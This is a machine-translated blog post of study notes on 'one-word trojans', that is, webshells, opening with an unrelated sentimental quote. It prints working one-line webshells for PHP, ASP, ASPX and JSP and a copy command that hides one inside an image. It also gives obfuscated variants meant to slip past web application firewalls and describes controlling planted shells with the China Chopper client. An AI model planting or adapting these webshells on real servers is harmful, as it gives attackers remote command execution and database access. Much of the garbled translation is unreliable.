A tutorial study notes (a): 13, script Trojans principle

She and I say, if one day you leave me, you told me breaking the wrist, you won let you go, she said I was so thin how to win. Later she really want to break up with me, I put his right hand on the table, seeing I want to win, put her left hand on his right hand, I looked up at her teeth tears in his eyes, I knew she really have to He left me. . .

                                                                                                                                   ----  网易云热评

First, the word horse, subtle and strong, powerful, Malaysia is preparing upload

1, php sentence

<?php @eval($_POST['aiyou']);?>

The word uploaded to the server
Here Insert Picture Description
is connected with a kitchen knife
Here Insert Picture Description
Here Insert Picture Description
to read the database
Here Insert Picture Description
terminal operation command
Here Insert Picture Description
2, asp word

<% eval request(“aiyou”) %>

3, aspx sentence

<%@ Page Language=“Jscript”%>

<%eval(Request.Item[“value”],“unsafe”);%>

4, jsp sentence

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>

5, horse pictures

Do sentence under cmd

/b1.jpg+1.php 2.jpg Copy
Here Insert Picture Description
c32asm do word
Here Insert Picture Description
two, word distortion, waf intercepts a word, can be bypassed by deformation

<?php $_request['a']($_request['b']); ?>

<%eval(request(chr(112)))%>

<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(“aiyou”))%>

<%eval""&(“e”&“v”&“a”&“l”&"("&“r”&“e”&“q”&“u”&“e”&“s”&“t”&"("&“0”&"-"&“2”&-"&“5”&")"&")")%>

<%a=request(“aiyou”)%><%eval a%>

Third, Malaysia, more powerful than a pony function

After uploading pony connected with a kitchen knife, kitchen knife and then uploaded by Malaysia
Here Insert Picture Description
against Illicit at your peril

Welcome to public concern number: web security tool library

Here Insert Picture Description

Published 114 original articles · won praise 5 · views 10000 +

Guess you like

Origin blog.csdn.net/weixin_41489908/article/details/104505471